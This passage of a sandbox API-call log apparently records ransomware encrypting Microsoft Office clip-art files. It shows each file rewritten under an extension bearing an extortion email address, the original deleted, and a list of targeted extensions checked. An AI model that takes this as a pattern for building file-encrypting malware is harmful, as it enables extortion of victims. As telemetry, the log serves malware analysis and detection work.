	[0074.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0074.758] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=3016) returned 1
	[0074.758] CloseHandle (hObject=0x388) returned 1
	[0074.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf")) returned 0x220
	[0074.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0074.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0074.759] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.759] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0074.760] GetLastError () returned 0x0
	[0074.760] ReadFile (in: hFile=0x388, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0xbc8, lpOverlapped=0x0) returned 1
	[0074.774] WriteFile (in: hFile=0x338, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xbd0, lpOverlapped=0x0) returned 1
	[0074.775] ReadFile (in: hFile=0x388, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.775] WriteFile (in: hFile=0x338, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0074.776] SetEndOfFile (hFile=0x338) returned 1
	[0074.776] CloseHandle (hObject=0x338) returned 1
	[0074.777] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.777] SetEndOfFile (hFile=0x388) returned 1
	[0074.778] CloseHandle (hObject=0x388) returned 1
	[0074.778] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0074.779] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf")) returned 1
	[0074.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0074.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0074.779] lstrlenW (lpString=".doc") returned 4
	[0074.779] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0074.779] lstrlenW (lpString=".docx") returned 5
	[0074.779] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0074.779] lstrlenW (lpString=".pdf") returned 4
	[0074.779] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0074.779] lstrlenW (lpString=".xls") returned 4
	[0074.779] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0074.779] lstrlenW (lpString=".xlsx") returned 5
	[0074.779] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0074.779] lstrlenW (lpString=".ppt") returned 4
	[0074.779] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0074.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0074.780] lstrlenW (lpString=".zip") returned 4
	[0074.780] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0074.780] lstrlenW (lpString=".rar") returned 4
	[0074.780] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0074.780] lstrlenW (lpString=".bz2") returned 4
	[0074.780] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0074.780] lstrlenW (lpString=".7z") returned 3
	[0074.780] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0074.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0074.780] lstrlenW (lpString=".dbf") returned 4
	[0074.780] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0074.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0074.780] lstrlenW (lpString=".1cd") returned 4
	[0074.780] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0074.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0074.780] lstrlenW (lpString=".jpg") returned 4
	[0074.780] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0074.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0074.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0074.780] lstrlenW (lpString=".doc") returned 4
	[0074.780] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0074.780] lstrlenW (lpString=".docx") returned 5
	[0074.780] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0074.781] lstrlenW (lpString=".pdf") returned 4
	[0074.781] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0074.781] lstrlenW (lpString=".xls") returned 4
	[0074.781] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0074.781] lstrlenW (lpString=".xlsx") returned 5
	[0074.781] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0074.781] lstrlenW (lpString=".ppt") returned 4
	[0074.781] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0074.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0074.781] lstrlenW (lpString=".zip") returned 4
	[0074.781] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0074.781] lstrlenW (lpString=".rar") returned 4
	[0074.781] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0074.781] lstrlenW (lpString=".bz2") returned 4
	[0074.781] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0074.781] lstrlenW (lpString=".7z") returned 3
	[0074.781] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0074.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0074.781] lstrlenW (lpString=".dbf") returned 4
	[0074.781] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0074.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0074.781] lstrlenW (lpString=".1cd") returned 4
	[0074.781] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0074.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0074.781] lstrlenW (lpString=".jpg") returned 4
	[0074.781] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0074.782] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0074.782] lstrlenW (lpString="BL00273_.WMF") returned 12
	[0074.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0074.782] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=3780) returned 1
	[0074.782] CloseHandle (hObject=0x388) returned 1
	[0074.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf")) returned 0x220
	[0074.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0074.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0074.783] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.783] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0074.783] GetLastError () returned 0x0
	[0074.783] ReadFile (in: hFile=0x388, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0xec4, lpOverlapped=0x0) returned 1
	[0075.070] WriteFile (in: hFile=0x338, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xed0, lpOverlapped=0x0) returned 1
	[0075.072] ReadFile (in: hFile=0x388, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.073] WriteFile (in: hFile=0x338, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0075.073] SetEndOfFile (hFile=0x338) returned 1
	[0075.291] CloseHandle (hObject=0x338) returned 1
	[0075.311] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.311] SetEndOfFile (hFile=0x388) returned 1
	[0075.330] CloseHandle (hObject=0x388) returned 1
	[0075.330] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0075.330] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf")) returned 1
	[0075.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0075.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0075.554] lstrlenW (lpString=".doc") returned 4
	[0075.554] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.554] lstrlenW (lpString=".docx") returned 5
	[0075.554] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.554] lstrlenW (lpString=".pdf") returned 4
	[0075.554] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.554] lstrlenW (lpString=".xls") returned 4
	[0075.554] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.554] lstrlenW (lpString=".xlsx") returned 5
	[0075.554] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.554] lstrlenW (lpString=".ppt") returned 4
	[0075.554] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0075.554] lstrlenW (lpString=".zip") returned 4
	[0075.554] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.554] lstrlenW (lpString=".rar") returned 4
	[0075.554] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.554] lstrlenW (lpString=".bz2") returned 4
	[0075.554] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.554] lstrlenW (lpString=".7z") returned 3
	[0075.554] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0075.554] lstrlenW (lpString=".dbf") returned 4
	[0075.555] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0075.555] lstrlenW (lpString=".1cd") returned 4
	[0075.555] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0075.555] lstrlenW (lpString=".jpg") returned 4
	[0075.555] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0075.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0075.555] lstrlenW (lpString=".doc") returned 4
	[0075.555] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.555] lstrlenW (lpString=".docx") returned 5
	[0075.555] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.555] lstrlenW (lpString=".pdf") returned 4
	[0075.555] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.555] lstrlenW (lpString=".xls") returned 4
	[0075.555] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.555] lstrlenW (lpString=".xlsx") returned 5
	[0075.555] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.555] lstrlenW (lpString=".ppt") returned 4
	[0075.555] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0075.555] lstrlenW (lpString=".zip") returned 4
	[0075.555] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.555] lstrlenW (lpString=".rar") returned 4
	[0075.555] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.555] lstrlenW (lpString=".bz2") returned 4
	[0075.555] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.555] lstrlenW (lpString=".7z") returned 3
	[0075.555] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0075.555] lstrlenW (lpString=".dbf") returned 4
	[0075.556] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0075.556] lstrlenW (lpString=".1cd") returned 4
	[0075.556] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68
	[0075.556] lstrlenW (lpString=".jpg") returned 4
	[0075.556] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.556] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0075.556] lstrlenW (lpString="BOATINST.WMF") returned 12
	[0075.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0075.648] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=29004) returned 1
	[0075.661] CloseHandle (hObject=0x384) returned 1
	[0075.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf")) returned 0x220
	[0075.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0075.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0075.680] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.680] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0075.680] GetLastError () returned 0x0
	[0075.680] ReadFile (in: hFile=0x384, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x714c, lpOverlapped=0x0) returned 1
	[0075.682] WriteFile (in: hFile=0x37c, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x7150, lpOverlapped=0x0) returned 1
	[0075.684] ReadFile (in: hFile=0x384, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.684] WriteFile (in: hFile=0x37c, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0075.684] SetEndOfFile (hFile=0x37c) returned 1
	[0075.684] CloseHandle (hObject=0x37c) returned 1
	[0075.685] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.685] SetEndOfFile (hFile=0x384) returned 1
	[0075.686] CloseHandle (hObject=0x384) returned 1
	[0075.687] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0075.687] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf")) returned 1
	[0075.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0075.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0075.687] lstrlenW (lpString=".doc") returned 4
	[0075.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.687] lstrlenW (lpString=".docx") returned 5
	[0075.687] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1
	[0075.687] lstrlenW (lpString=".pdf") returned 4
	[0075.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.687] lstrlenW (lpString=".xls") returned 4
	[0075.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.687] lstrlenW (lpString=".xlsx") returned 5
	[0075.687] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1
	[0075.687] lstrlenW (lpString=".ppt") returned 4
	[0075.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0075.688] lstrlenW (lpString=".zip") returned 4
	[0075.688] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.688] lstrlenW (lpString=".rar") returned 4
	[0075.688] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.688] lstrlenW (lpString=".bz2") returned 4
	[0075.688] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.688] lstrlenW (lpString=".7z") returned 3
	[0075.688] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0075.688] lstrlenW (lpString=".dbf") returned 4
	[0075.688] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0075.688] lstrlenW (lpString=".1cd") returned 4
	[0075.688] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0075.688] lstrlenW (lpString=".jpg") returned 4
	[0075.688] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0075.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0075.688] lstrlenW (lpString=".doc") returned 4
	[0075.688] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.688] lstrlenW (lpString=".docx") returned 5
	[0075.688] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1
	[0075.688] lstrlenW (lpString=".pdf") returned 4
	[0075.688] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.688] lstrlenW (lpString=".xls") returned 4
	[0075.688] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.688] lstrlenW (lpString=".xlsx") returned 5
	[0075.688] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1
	[0075.688] lstrlenW (lpString=".ppt") returned 4
	[0075.688] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0075.689] lstrlenW (lpString=".zip") returned 4
	[0075.689] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.689] lstrlenW (lpString=".rar") returned 4
	[0075.689] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.689] lstrlenW (lpString=".bz2") returned 4
	[0075.689] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.689] lstrlenW (lpString=".7z") returned 3
	[0075.689] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0075.689] lstrlenW (lpString=".dbf") returned 4
	[0075.689] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0075.689] lstrlenW (lpString=".1cd") returned 4
	[0075.689] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0075.689] lstrlenW (lpString=".jpg") returned 4
	[0075.689] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.689] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0075.689] lstrlenW (lpString="BS00135_.WMF") returned 12
